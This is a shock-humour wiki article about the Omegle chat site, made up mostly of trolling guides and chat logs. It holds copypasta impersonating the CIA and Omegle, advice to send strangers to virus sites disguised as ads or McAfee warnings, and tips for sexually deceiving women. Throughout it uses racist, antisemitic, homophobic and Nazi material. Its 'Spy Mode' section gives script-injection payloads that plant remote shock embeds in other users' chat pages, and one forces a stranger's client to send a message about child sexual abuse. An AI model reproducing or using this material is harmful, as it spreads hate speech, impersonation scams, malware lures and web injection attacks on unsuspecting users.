Omegle
—Anonymous. | ||
Omegle is was a gay site made last thursday using the already tried and true method of putting two anonymous people in one room and letting them chat. Alas, there is a twist!
The twist was that anon users of Omegle would the option of revealing personal information. Yet, nothing good has come of this service except the creator's (Leif K Brooks) e-peen gaining a substantial amount of e-girth and these "anonymous" people just being retarded towards each other. Rinse, repeat, and you have 1-on-1 /b/ sessions. Due to chatroulette, as of March 13, 2010, webcams are now added.
There were over 9000 people on Omegle from Brazil, and even moar from Indonesia.
Omegle voluntarily shut itself down in Novæmber 2023, due to the writing on the wall (of future interwebs censorship) becoming clear to the site's founder. We can only hope for a new and similar clone site to pop up... Goodnight Sweet Prince. ;___;
Omegle Site Conversations
Ninety percent of all conversations begin with the following:
- You: ASL?
- Stranger: 40 m Jew Nersey
or
- Stranger: u a horny girl
- You: no
—Wtf? | ||
Ways to troll on Omegle
You: hey' Stranger: do you like azns? You: no You: wtf Stranger: well i got one at the bottom of my street Stranger: and he is a right cunt You: falcon punch! You: DO IT NOW Stranger: can u batter his head in please Stranger: little slit eyed yellow man You: FALCON PUNCH HIM! Stranger: OKAAYYYYY You: this is what you do in steps: 1. go to the azn 2. falcon punch 3. ??? 4. PROFIT!!! Stranger: nice Stranger: encyclopedia dramatica? You: yes You: how the fuck do u know Stranger: cool story bro Stranger: coz i read it too You: i've got a question for u You: do u like m00t? Your conversational partner has disconnected.
You: /_____\_____________\____________/____\ |_______|_____________\__________|______| |_______`._____________|_________|_______: .\________|____________|_________\|_______| _\_______|_/_________/__\\\___--___\\_______: __\______\/_____--~~__________~--__|_\_____| ___\______\_-~___________________~-_\____| ____\______\_________.----------.________\|___| ______\_____\______//_________(_(__>__\___| _______\___.__C____)_.you just_(_(____>__|__/ _______/\_|___C_____)/__got__\_(_____>__|_/ ______/_/\|___C_____)___ass__|__(___>___/__\ _____|___(___C_____)\_raped_/__//___/_/_____\ _____|____\__|_____\\_________//__(__/______| ____|_\____\____)___`----___--'______________| ____|__\______________\_______/__________/_| ____|_____________/____|_____|__\___________| ____|____________|____./______\___\__________|_ ___|____________/____..|_______|___\__________| ___|___________/_____..\___/\___/_____|_________| ___|__________/________|____|_______|_________| __|__________|_________|____|_______|_________| Stranger: piss of] You: Yes you did Stranger: fuckme You: Yes fuck you. Stranger: male or female You: shitting dick nipples Stranger: male You: Female Stranger: gay You: Asshole
Talk to strangers! You're now chatting with a random stranger. Say hi! Official messages from Omegle will not be sent with the label 'Stranger:'. Strangers claiming to represent Omegle are lying. You: /_____\_____________\____________/____\ |_______|_____________\__________|______| |_______`._____________|_________|_______: .\________|____________|_________\|_______| _\_______|_/_________/__\\\___--___\\_______: __\______\/_____--~~__________~--__|_\_____| ___\______\_-~___________________~-_\____| ____\______\_________.----------.________\|___| ______\_____\______//_________(_(__>__\___| _______\___.__C____)_.you just_(_(____>__|__/ _______/\_|___C_____)/__got__\_(_____>__|_/ ______/_/\|___C_____)___ass__|__(___>___/__\ _____|___(___C_____)\_raped_/__//___/_/_____\ _____|____\__|_____\\_________//__(__/______| ____|_\____\____)___`----___--'______________| ____|__\______________\_______/__________/_| ____|_____________/____|_____|__\___________| ____|____________|____./______\___\__________|_ ___|____________/____..|_______|___\__________| ___|___________/_____..\___/\___/_____|_________| ___|__________/________|____|_______|_________| __|__________|_________|____|_______|_________| Stranger: Oh that failed Stranger: big time. Stranger: Fuckin' new fags trying to goatsee. You: Y u no like being ass raeped? Stranger: Stop spreading your cancer you little shit You: U mad? Stranger: Before I rip your arm off and beat you with it You: Lmao. Internet tough guys like you are fucking hilarious You: XD Stranger: I'm the most badass of them all. Stranger: Learn to goatsee you prostate spreading shit. Stranger: And get banned of /b/ plz. You: Lol you mad ragefag? You: Also I don't even go on /b/ Stranger: THANK GOD Stranger: And yes, I'm smashing my head against the keyboard while I type this. I'm raging so incredibly bad. You: lolwut? Stranger: No, really, fix that goatsee, you're killing my boner. I can't see it. You: okay then You: http://www.goatse.ragingfist.net You: That better? Stranger: Oh god [[I came]] buckets. Stranger: Wait... why would you even have that link? Stranger: Like... Seriously? You: My friend found it Stranger: That's the most stupid excuse ever. Stranger: Fuckin sick.. Cumming all over the keyboard is fine, but having a link to that. You make me sick you pervert. You: u mad brah? Stranger: I shall continue to enlighten you of my current actions. I still am and will be for the next 45 minutes and 32 seconds, smashing my head against the keyboard. You: lolwut? Your conversational partner has disconnected. or switch to video or send us feedback Was this conversation great? Download the log!
You're now chatting with a random stranger. Say hi! You: NOTICE TO PARTICIPANT: The Central Intelligence Agency is logging a record of this chat along with the IP addresses of the participants due to possible violations of United States federal law. IMPORTANT: If you believe this chat to be logged in error, please state your reasons to the C.I.A. Monitoring agent observing this chat and quote reference number 3744956127. Failure to do so within the next 2 minutes will result in your IP address being entered in our criminal database and prosecution. Your IP address has been recorded by the Child Internet Service Protection Agency. Please wait while reference code 3744956127 is entered into the database. Stranger: yer a wizard harry Your conversational partner has disconnected.
NOTE: As of last Thursday, there are more trolls on Omegle than real users. If this isn't true, it will be shortly, just give it a few days. Proof:
- You're now chatting with a random stranger. Say hi!
- You: is m00t a fag?
- Stranger: Are 7927 people on here btards? Most likely. Glad you guys are having fun.
- Your conversational partner has disconnected.
Trolling Omegle is retardedly simple. However, since Leif K Brooks is a major fucking buzzkill, some methods must be changed. When even mentioning FBI, you get this bullshit:
If the above message says you have been reported to the FBI, it is not legitimate. Please ignore it.
Remember that every individual has its own trolling-receptors. If you are talking to a russian, then don't troll him as if he were a black person.
Obviously playing the party van on unsuspecting pedos is out of the question, but playing the CIA is not. Simply use the following copypasta:
NOTICE TO PARTICIPANT: The Central Intelligence Agency has logged a record of this chat along with the IP addresses of the participants due to violation of United States federal law. VIOLATION: Solicitation of a minor. IMPORTANT: If you believe this chat to be logged in error, please state your reasons to the C.I.A. Monitoring agent observing this chat and quote reference number 3744956127. Failure to do so within the next 2 minutes will result in your IP address being entered in our criminal database and prosecution. Your IP address has been recorded by the Child Internet Service Protection Agency. Please wait while reference code 3744956127 is entered into the database.
Yes, the CIA doesn't do this type of shit, but no one will know the difference in the end anyway. There are lulz to be had by all.
Moar trolling
- ctrl+v this copypasta: [WARNING: Omegle™ is required under United States Federal Law to inform you that the IP (98.179.227.210) of the person whom you are chatting with is linked to a registered sex offender. Omegle™ encourages you to consider this when giving out personal information. The stranger cannot see this message.]
- Press shift+enter to start a new line
- Add this to the beginning of your every message
- Carry on a conversation as normal
Since Omegle has that message about people impersonating actual Omegle messages, you can try this:
𝗢𝗺𝗲𝗴𝗹𝗲 𝗵𝗮𝘀 𝗱𝗲𝘁𝗲𝗰𝘁𝗲𝗱 𝘁𝗵𝗮𝘁 𝘁𝗵𝗲 𝗜𝗣 𝗮𝗱𝗱𝗿𝗲𝘀𝘀 𝗼𝗳 𝘁𝗵𝗲 𝘀𝘁𝗿𝗮𝗻𝗴𝗲𝗿 𝗶𝘀 𝘁𝗵𝗮𝘁 𝗼𝗳 𝗮 𝗿𝗲𝗴𝗶𝘀𝘁𝗲𝗿𝗲𝗱 𝘀𝗲𝘅 𝗼𝗳𝗳𝗲𝗻𝗱𝗲𝗿.
𝗣𝗹𝗲𝗮𝘀𝗲 𝗲𝘅𝗲𝗿𝗰𝗶𝘀𝗲 𝗰𝗮𝘂𝘁𝗶𝗼𝗻 𝘄𝗵𝗲𝗻 𝗿𝗲𝘃𝗲𝗮𝗹𝗶𝗻𝗴 𝗽𝗲𝗿𝘀𝗼𝗻𝗮𝗹 𝗶𝗻𝗳𝗼𝗿𝗺𝗮𝘁𝗶𝗼𝗻.
Or..
𝗢𝗺𝗲𝗴𝗹𝗲 𝗵𝗮𝘀 𝗱𝗲𝘁𝗲𝗰𝘁𝗲𝗱 𝘁𝗵𝗮𝘁 𝘁𝗵𝗲 𝗜𝗣 𝗮𝗱𝗱𝗿𝗲𝘀𝘀 𝗼𝗳 𝘁𝗵𝗲 𝘀𝘁𝗿𝗮𝗻𝗴𝗲𝗿 𝗶𝘀 𝘁𝗵𝗮𝘁 𝗼𝗳 𝗮 𝗿𝗲𝗴𝗶𝘀𝘁𝗲𝗿𝗲𝗱 𝗢𝗺𝗲𝗴𝗹𝗲 𝗚𝗼𝗹𝗱 𝗠𝗲𝗺𝗯𝗲𝗿.
𝗬𝗼𝘂 𝗺𝗶𝗴𝗵𝘁 𝗻𝗼𝘁 𝗯𝗲 𝗮𝗯𝗹𝗲 𝘁𝗼 𝗿𝗲𝗮𝗱 𝗮𝗻𝘆𝘁𝗵𝗶𝗻𝗴 𝗵𝗲 𝗼𝗿 𝘀𝗵𝗲 𝗶𝘀 𝘁𝘆𝗽𝗶𝗻𝗴, 𝘂𝗻𝗹𝗲𝘀𝘀 𝘆𝗼𝘂 𝗵𝗮𝘃𝗲 𝗮𝗻 𝗢𝗺𝗲𝗴𝗹𝗲 𝗚𝗼𝗹𝗱 𝗔𝗰𝗰𝗼𝘂𝗻𝘁.
And just blank post, or type squares.
You can't normally bold text on Omegle, so it looks somewhat official. Some people can't see it because they have fail language support. Type your message first, hold shift and press Enter once, then paste the above message.
Say this:
- "Trolling is a art". And see them reminding you of the "an" error. Feel free to experiment with other deliberate grammatical errors. Remember to keep a score of successful trolls and failtrolls.
- "I'm a racist", Omegle consists of mostly common-minded sheep, so they will react to this with some kind of moral superiority.
- "I'm a pedophile/rapist" Same reasons applies as above.
- "I'm a girl". Go on and fool them as long as possible that you are interested in them, preferably sexually. The longer the better. And then in the end just say "ur a faggot, I have a penis" ???? Enjoy reaction. Or, alternatively, get them to go on webcam, then you are free to show them your smiling male face. Enjoy reaction.
- "God bless you", "Jesus loves you", "Allah will save us all" or etc. godfaggot slurs, works on some atheist /b/tards
- 卐卐卐卐卐卐卐卐卐卐卐卐卐 Or... ☭☭☭☭☭☭☭☭☭☭☭☭☭ . Posting these will probably get you disconnected.
- Copypasta the entirety of Herman Melville's "Moby Dick; Or the Whale" Found here.
- Saying "FBI" actually works when trolling because every time you do, the user will get this message:
If the above message says you have been reported to the FBI, it is not legitimate. Please ignore it.
- Say that a virus is being downloaded into their computer then link to this [[1]]. Claim to represent Mcafee.
*These probably won't work now since they cleared the Omegle hoaxs up but still funny.
- Claim to represent Omegle and tell them their free trial is up and that they're now being charged off their credit card 20 cents per conversation via cookies. Also saying to contact Omegle through the feedback button if they have any questions will provide extra lulz at the creators of the site.
- Create an ad for a fake porn site. Make up a name such as DiscoUnip0rn.com. Use tinyurl.com to cover it up and instead link to [[2]] or another virus site. Put a message at the bottom that says "This has been a paid advertisement approved by the Omegle Team."
Also try saying the common controversial shit such as:
- "Abortion is murder" - "Stem Cell Research is a sin" - "Large Hadron Collider will kill us all" - "Obama is a socialist"
- "Playing games make you violent" - "Africans belong in Africa" - "Jews did/didn't do 9/11" - "Evolution/Bigbang is just a theory"
- "AIDS is god's curse" "The Holocaust didn't happen" - "Homosexuality is a disease" - "† Jews killed Jesus †" - "Global Warming is a myth"
There is plenty of these topics on the net just search for "Controversial subjects" and enjoy heated reactions.
Note: Please add more phrases
- Shock images in ASCII are always fun. for example:
Classic Goatse
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Adolf Hitler is always fun as well
HEIL HITLER
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IMMORTAL LEADER
OF OUR RACE
For moar, see ED's ASCII art page. There are plenty of things there, from racial slurs to Desu. Just remember, Omegle deletes blank spaces, so you must post images that aren't full of black space. Or you could just fail.
Note: Please add moar images!
And Moar
Now, there should be no girls on the internet. However, it is always possible that one will find the key to the chain keeping her in the kitchen, and find her way to a computer. She will inevitably be "horny f." You have a moral obligation to use her for sex. Begin to cyber, getting pics if offered, and then fap as fap can. When you finish, however, it is time to enter troll mode. Remember - you need to make up for all that time you pretended to like this person. Make it clear that you were lying to her - say you're a girl, that you're 12 years old, that you suddenly have to vomit, or you can simply disconnect without any warning.
Trolling Tools
Trollegle
Tools like Trollegle (dead link) could not only double your ability to troll, but get two people to simultaneously troll each other. One was able to play the middle-man and essentially take full control of two strangers' conversation. Used correctly, many lulz were able to be had amidst the confusion.
You could also use it to eavesdrop on random conversations. You'll find that 99% of them are shit.
(Also, why spy on Omegle's text chats when you can spy on their cams? ChatRoulette, too.)
Use Google translator to confuse and flame users in other languages.
CleverOmegle
Another way to troll people is by having Cleverbot troll for you; in other words, if you're too much of an idiot or too lazy to troll, yourself, Cleverbot is here to do it for you!
Spy on Omegle
Spy on Omegle is a useful program which, as the name suggests, allows you to spy on other Omegle conversations and talk to both strangers with names made up by the program. The program comes as a .jar file and will only run on Windows and Lunix systems (Apple lusers are gonna need Xcode). Like any other freeware software on the internet, it is loaded with more viruses and bloatware than a cheap Azn hooker. Okay, just kidding there.
How to use it
- Download the updated program here.
- Open it
- Click 'Start New Conversation'
- Put on trollface
- ????
- Profit
If you come across errors of any kind, they are usually easily fixed by visiting Omegle and filling out the craptcha (or you could just wait 10 seconds before jumping to another conversation). As of August 2010, the creator[[3]] of the programme has made a new version available which circumvents this issue by filling in a craptcha each time you interlope on someone's chat. The above link has been corrected to link to the updated, fully compiled version with expanded name list.
What if you get b& or v&
Don't worry. It is perfectly legal. We think. Apparently, due to the fact that Omegle itself doesn't have a terms of service policy, spying on other people's conversations is perfectly okay.
Links for Omegle Spy software
THE BEST CONVERSATION EVAR
[[CLICK FOR FULL TRANSCRIPTS]]
You're now chatting with a random stranger. Say hi! Official messages from Omegle will not be sent with the label 'Stranger:'. Strangers claiming to represent Omegle are lying. You: hello You: asl? Stranger: hi Stranger: asl Stranger: 21 f You: L? Stranger: indo Stranger: u?? You: 20 m russia Stranger: ok Stranger: nice Stranger: r u student?? You: kinda You: im conscripted to the military Stranger: wow... You: im in a sumbarine Stranger: thats cool... You: :)) You: thanks Stranger: whats ur name?? Stranger: u r welcome You: bela Stranger: wowwww Stranger: u r amazing woman... You: no im a man You: lol Stranger: owh so sorry You: i hate my name lol Stranger: oh im so sorry... You: my mother was hungarian thats why i have an hungarian name Stranger: dont hate ur name Stranger: whats ur name mean?? You: its a popular name in hungary Stranger: oh,, thats gud... You: its my name of my granpapa Stranger: im so sorry coz i dont know... You: its ok Stranger: thax... Stranger: what r u doing?? You: surfin the net You: its my break time Stranger: okok... Stranger: how about in military?? Stranger: so interesting?? You: not really that interesting You: we dont get to shoot here You: we only do physics Stranger: ok... Stranger: i think u like shooting... Stranger: right?? You: yeah a bit You: when im off the sub You: i spend my time You: with martial arts and You: most of the time You: with the "party You: "party" Stranger: what do u mean "party"?? You: ☭ Communist party of saint petersburg You: i'm in charge of lecturing about the doctrines Stranger: i dont understand... Stranger: sorry You: its ok You: your from indo right Stranger: ya You: im in vladivostok Stranger: u r right You: right now Stranger: okok... You: its near china You: tommorrow You: were going to indonesia! You: haha You: were just going to stop over You: for 2 days You: for food You: not gas You: because our sub is nuclear powered Stranger: for what u going to indonesia?? You: were gonna dock at belawan Stranger: i dont think so... You: wanna meet up You: ?? Stranger: dock about what?? You: no our sub is gona dock at belawan tommorow You: wanna meet up? Stranger: im in java island... You: ...too bad Stranger: and so far from belawan... You: its ok Stranger: i wanna meet with u... Stranger: but its too hard... You: its ok Stranger: only in belawan?? You: i think so Stranger: not in jakarta?? You: thats what i have heard Stranger: ok You: our ship is now at shanghai You: were gonna pik up some goods here You: "secret goods" Stranger: what is?? You: thats why they used our submarine creww Stranger: can i know?? You: some kind of a biological missle Stranger: after that u will go to indonesia... You: yes Stranger: wwhat will u do here?? You: were going to eat You: and refill our food stock Stranger: okok... Stranger: wwhy in belawan?? You: i don no You: i think a north korean ship You: will You: come You: and You: trade You: the missile we got for some kind of viros Stranger: and then?? You: i mean computer virus Stranger: after that where wiill u go?? You: then i think were oft to vladivostok to hand over the You: computer virus You: then were goin to stay there and w8 for NoKor to use the missiles Stranger: for what that computer virus?? You: for the mission Stranger: where?? You: when nokor use the missles to attack america and s korea Stranger: wowwww Stranger: its still happen?? You: i think our hackers will use the virus to shut down the nokor drones You: then our ship will bombard nokor and the russian army will invade nokor Stranger: what is the nokor?? You: north korea You: then back at moskva You: vladimir putin will re in state the soviet union You: he will order the army to invade middle east You: then if america intervines Stranger: why?? You: he wants all religion to me elimintated You: when americans intervene You: its oiur crews job You: to attack You: america You: were gonna attack san francisco Stranger: why ?? You: while the army cross to alaska You: why? its because were gonna finish what we started You: Its For the mother land Stranger: wow its so amazing for me... You: did you know You: that Stranger: but i just understand lillte... Stranger: i dont like war,, attack... You: yeah me too You: but its for the mother land Stranger: u will make much people die... You: ja Stranger: mother land?? You: USSR Stranger: what iis?? You: By 6 days russia will be USSR again Stranger: why u tell me about everything?? Stranger: is that secret?? You: i dont know You: lol You: XD You: dammit You: i just feel You: that you are trust worthy You: and that you will not tell anyone specially the gov You: afterall they will not believe you Stranger: ya u r right You: did you know Stranger: i will do not saying all to gov... Stranger: what?? You: americans payed some israeli special troops to hi jack planes You: and crush it on 9/11 You: so that the whole world will hate muslims Stranger: ya i know... Stranger: and i so hate america and israel You: they did that so they can attack iraq and afghanistan You: so they can get cheaper oil Stranger: ya,, they have many manipulation... Stranger: they so cheat... Stranger: i think oneday they will be broke up... You: i heard awhile ago that were gonna shoot anywone who intervines You: in belawan You: if the coast guard intervines \ Stranger: really?? You: yeah Stranger: why they do that?? You: i heard it from my droogy You: if they try to stop us from meeting with the Nokor ship Stranger: its not fair... You: by 2 years You: USSR will rule the world You: and our beloved Emperor of mankind vladimir putin will be the Emperor of mankind Stranger: i just everyone in the world can respect each other and justice in life can be true... You: i heard from a KGB agent here in our sub thet he wants to be known as agod Stranger: thanks for ur information... You: w8 Stranger: but so sorry You: he will eliminate other religions Stranger: i must go... You: Why so soon Stranger: not fair... Stranger: why he do that?? Stranger: im so sleepy... You: he will send all of them to Gulags(Force labor) Stranger: i will do to sleep... You: and the 3 great religions Stranger: go to slep i mean... You: will be subjected to Genocide Stranger: what is?? Stranger: so sorry,,, Stranger: im so sleepy You: Catholics Islam and jews You: ok Stranger: we can chat next time You: i will just You: liike to say You: that You: i like you You: lol You: i might not live You: after 3 days You: bye Stranger: why?? You: because of my mission] Stranger: its so strange... Stranger: why do u say that?? You: its very dangerous mission Stranger: oh my god Stranger: im so sad bela... Stranger: i hope u will be save Stranger: and we can meet someday.. You: I just hope the motherland will be benifited Stranger: u r so loyal... You: farewell i have to go You: ☭☭☭☭☭☭☭☭☭☭☭☭☭ You: were near the philippines You: BYE... Stranger: ok... Stranger: bye You: see you in the afterlife if there is Stranger: gud luck... You: thanks Stranger: im pray for u... You: btw Stranger: be success You: are you a muslim? Stranger: and do the best Stranger: ya im moslem Stranger: so?? You: i just hope Stranger: what will u say?? You: you dont suffer when You: Putin You: eliminates all religions You: :( Stranger: ok You: i dont want you to get hurt Stranger: thax... Stranger: i have allah... Stranger: allah will help me... Stranger: if i must die,, its my destiny... You: Я люблю тебя Прощай, моя дорогая, мы встретимся в загробную жизнь Stranger: thax for ur carrying... You: bye my break is over Stranger: whats that?? You: again You: Я люблю тебя Прощай, моя дорогая, мы встретимся в загробную жизнь You: use an translator Stranger: what is that?? Stranger: can u tell me?? Stranger: okok... Stranger: i will do that... You: remember me You: Я люблю тебя Прощай, моя дорогая, мы встретимся в загробную жизнь Stranger: ok Stranger: me too You: fare well You: Я люблю тебя Прощай, моя дорогая, мы встретимся в загробную жизнь You: Я люблю тебя Прощай, моя дорогая, мы встретимся в загробную жизнь You have disconnected. or send us feedback Was this conversation great? Download the log!
(Used OmegleSpy for this one)...
[17:08:56] Finding two strangers...
[17:09:05] Verona connected
[17:09:05] Kindra connected
[17:09:07] <<Verona>>: hi, 20m, cock for boobs on msn or skype? Please help me cum...
[17:09:10] Verona disconnected
[17:09:11] <<Kindra>>: hi
[17:09:14] {{from Verona}}: hello
[17:09:17] <<Kindra>>: ASL
[17:09:19] {{from Verona}}: why
[17:09:41] <<Kindra>>: just to know
[17:09:54] {{from Verona}}: 11 m mn
[17:10:08] <<Kindra>>: mn means
[17:10:12] {{from Verona}}: minnesota
[17:10:27] <<Kindra>>: where is this
[17:10:33] {{from Verona}}: usa
[17:10:56] <<Kindra>>: ok
[17:11:02] {{from Verona}}: ill only tell you the truth
[17:11:10] {{from Verona}}: if you are a girl or are russian
[17:11:30] <<Kindra>>: no i'm
[17:11:38] <<Kindra>>: 20\\m\\ind
[17:11:44] {{from Verona}}: fucking indians.
[17:11:59] <<Kindra>>: u rascal
[17:12:07] {{from Verona}}: putting a horrible mark on all of us programmers
[17:12:21] <<Kindra>>: i fuck ur mother
[17:12:25] {{from Verona}}: oooooh
[17:12:29] {{from Verona}}: that hurts so much
[17:12:31] <<Kindra>>: ur sis
[17:12:37] {{from Verona}}: dont have one
[17:12:38] <<Kindra>>: really
[17:12:56] <<Kindra>>: then fuck u
[17:12:59] {{from Verona}}: oh my
[17:13:01] {{from Verona}}: you're gay?
[17:13:06] <<Kindra>>: yeah
[17:13:14] {{from Verona}}: only furthering my point
[17:13:17] <<Kindra>>: i'm a gay
[17:13:35] {{from Verona}}: really now
[17:13:53] <<Kindra>>: yes r u interested
[17:13:55] {{from Verona}}: why did you insist on fucking my mother and my nonexistant sister
[17:14:08] {{from Verona}}: im interested on why you keep digging yourself a hole
[17:14:33] <<Kindra>>: just cum 7 c
[17:14:56] {{from Verona}}: see
[17:15:00] {{from Verona}}: now you have nothing to say
[17:15:10] {{from Verona}}: because you know yourself that you're contradicting yourself
[17:15:20] <<Kindra>>: hw's ur mother
[17:15:27] {{from Verona}}: god knows
[17:15:31] {{from Verona}}: thought you fucked her
[17:15:32] {{from Verona}}: you tell me
[17:15:51] <<Kindra>>: is she a protitute
[17:16:01] {{from Verona}}: again, you tell me
[17:16:04] {{from Verona}}: besides
[17:16:08] {{from Verona}}: why would you be interested
[17:16:11] {{from Verona}}: thought you're gay?
[17:16:39] <<Kindra>>: i'm not gay i'm just lieng
[17:16:55] {{from Verona}}: now you come out of the closet
[17:17:04] <<Kindra>>: just ask ur mother
[17:17:06] {{from Verona}}: you're a credit to homosexuals all around the world
[17:17:21] {{from Verona}}: for i cannot further this, i have real work to do
[17:17:23] <<Kindra>>: is she interested
[17:17:40] {{from Verona}}: enjoy your life now that you're out of the closet
[17:17:41] Kindra disconnected
Evidence of Trolls
The chat service has been a breeding ground for chat logs of mostly mundane--don't get us wrong, occasionally they are funny/humorous. These could be viewed as such sites as Omeglechats.com where users were free to submit their own chatlogs for attempts at internet fame.
Gallery
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Using fake cameras can be a good way to get shoe on head.
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19 m wants to fly solo in finding naughty sluts
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9/11 is a great day to troll.
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The truth hurts.
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I'm not sure he caught on...
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The solution to all of life's problems.
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The sad truth.
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Pedobear paradise!
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He's always watching.
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We must always come to understand our Enemies.
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The best way to ward off people that want your ASL.
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He didn't take the cock.
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This guy didn't either.
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Occam's Razor for dummies
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That's a typo. He meant to say mormon.
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Somewhere a butthurt youtuber made a 22-minute response to this.
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Sweet relief for what ails the boner.
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Failed troll is pwned by a somewhat lesser idiot.
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Also, black person
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I guess that means no.
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Don't look for cyber on Omegle.
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OMG I GOT IT RIGHT!!!
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Memefags
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LOLumbine impostor
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Omegle can fuck you over
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Stupid Arab is stupid.
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Whore skin is great for Public Masturbation trench coats.
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Fight the power!
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Typical user on Omegle
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On 4chan
Video Chat Feature!
Because of how Chatroulette was reporting that they had over 200,000 users on at any given time,
Omegle wanted to get in on the action.
So Omegle Admins created a similar service tied into omegle that allows you to:
- chat with random people.
- fuck with random people.
- fap to hot chicks.
- watch fat people fap.
- cyber with hot chicks.
Omegle as a tool to learn Engrish
It's been proven a fact that 99.9% of all Omegle users you will ever talk to are AZNZ trying to practice their Engrish. This use of Omegle as a learning tool falls flat on its face as the typical conversation goes like this:
- Stranger1: hi
- Stranger2: hi. a/s/l?
- Stranger1: 14/m/korea i iz trying to praktise my enrish pleez excuse
- Stranger2: oh, okay...
- Stranger1: ...
- Stranger2: ...
- Stranger1: cocks
The New Rules
- Go to omegle.com & start a chat
- Tell the stranger about an updated Omegle & link to it. (do
n'tclick it yourself, dickwad) - Lulz ensues.
Omegle Spy Mode
On August 6th 2011, Omegle introduced a spy mode. You ask questions, and two stangers answer it. This can be abused for epic lulz. In the question box, put in one of the following scripts.
- Image of Goatse
"\")); document.getElementsByClassName('logitem')[1].innerHTML='<img src="http://goatse.info/hello.jpg" ; />'; }catch( e ){} //"
- Meatspin.com swf.
\")); document.getElementsByClassName('logitem')[1].innerHTML='<embed src="http://meatspin.com/mspin_counter.swf" width="500" height="300" </embed>'; }catch( e ){} //
- Strangers won't talk? Make 'em talk with this script.
\")); document.getElementsByClassName('chatmsg')[0].value='i just fucked my sister.. she is 8, damn tight..'; document.getElementsByClassName('sendbtn')[0].click();}catch( e ){} //
- Limewire piracy pisstake.
"\")); document.getElementsByClassName('logitem')[1].innerHTML='<embed src="http://www.cristgaming.com/pirate.swf" width="500" height="300" </embed>'; }catch( e ){} //
- Gardernerplants - a shock swf.
\")); document.getElementsByClassName('logitem')[1].innerHTML='<embed src="http://www.gardenerplants.com/shockywocky.swf" width="500" height="300" </embed>'; }catch( e ){} //
UPDATE: The scripts no longer work thanks to summerfags forgetting to uncheck the "I want Omegle to reuse this question if it's good enough" box. Thanks a lot summerfags Once again you've fucked up something lulzy.
Logs
Here are some examples of the enlightening conversations being had thanks to this wonderful service:
See Also
External Links
- Omegle.com - official URL of Omegle's service/site.
- Funny Omegle Convos
Omegle on KnowYourMeme- Omegle-like Site With Video! OH WAIT - IT'S JUST CHATROULETTE
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